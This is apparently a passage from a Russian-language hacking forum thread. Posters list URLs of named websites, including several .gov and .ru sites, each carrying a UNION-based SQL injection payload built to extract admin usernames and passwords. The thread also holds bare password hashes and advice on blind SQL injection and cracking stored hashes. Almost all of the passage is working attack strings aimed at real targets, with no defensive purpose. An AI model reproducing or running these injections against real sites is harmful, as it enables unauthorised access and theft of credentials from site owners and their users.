Separate names with a comma.
http://threadandco.com/shop.php?id=42+union+select+1,concat_ws(0x3,id,0x3a,username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+admin...
------
прав не хватает
------------------------------------- ps модеры сорри что сначала не туда запостил
ca02a3c3d1469197dc8f2471b016268e
статья понра, написано хорошо с умом
http://www.thesame-innovation.com/Thesame/Prod/Prod.php?Id=-4+union+select+1,group_concat(0x0b,Id_Admin,0x3a,Titre_Admin,0x3a,Pass_Admin),3,4,5+fro...
http://www.npomagr.ru/prod.php?id=4+union+select+1,2,3,concat_ws(0x3a,ID,Name,Password),5,6+from+_magr_users--
http://www.povareschka.ru/prod.php?id=4+union+select+1,table_name,3,4,5,6,7,8+from+information_schema.tables+--&sort=9 tables: administrator,...
http://www.bakertillynepal.com/newslist.php?id=-4+union+select+1,concat_ws(0x3a,user_id,login_name,login_pwd,user_email),3,4,5,6,7,8,9,10,11,12+fro...
2JohnnyBGoode возможно кэпую, но данные из current_hash расшифровать не пробовал?
2KREGI, пробуй как blind sql inj, но вообще лучше бы линк кинул сюда
http://www.townofryeny.gov/index.php?act=view_cms&id=-4+union+select+1,group_concat(0x0b,admin_id,0x3a,admin_name,0x3a,admin_pwd),3,4,5,6,7,8,9,10+...
http://www.upperuwchlan-pa.gov/newsfull.php?id=-110+union+select+1,group_concat(0x0b,id,0x3a,username,0x3a,password),3,4,5,6,7,8+from+admin+-- PR...
baf4769367451de49fd7b997f95eb76d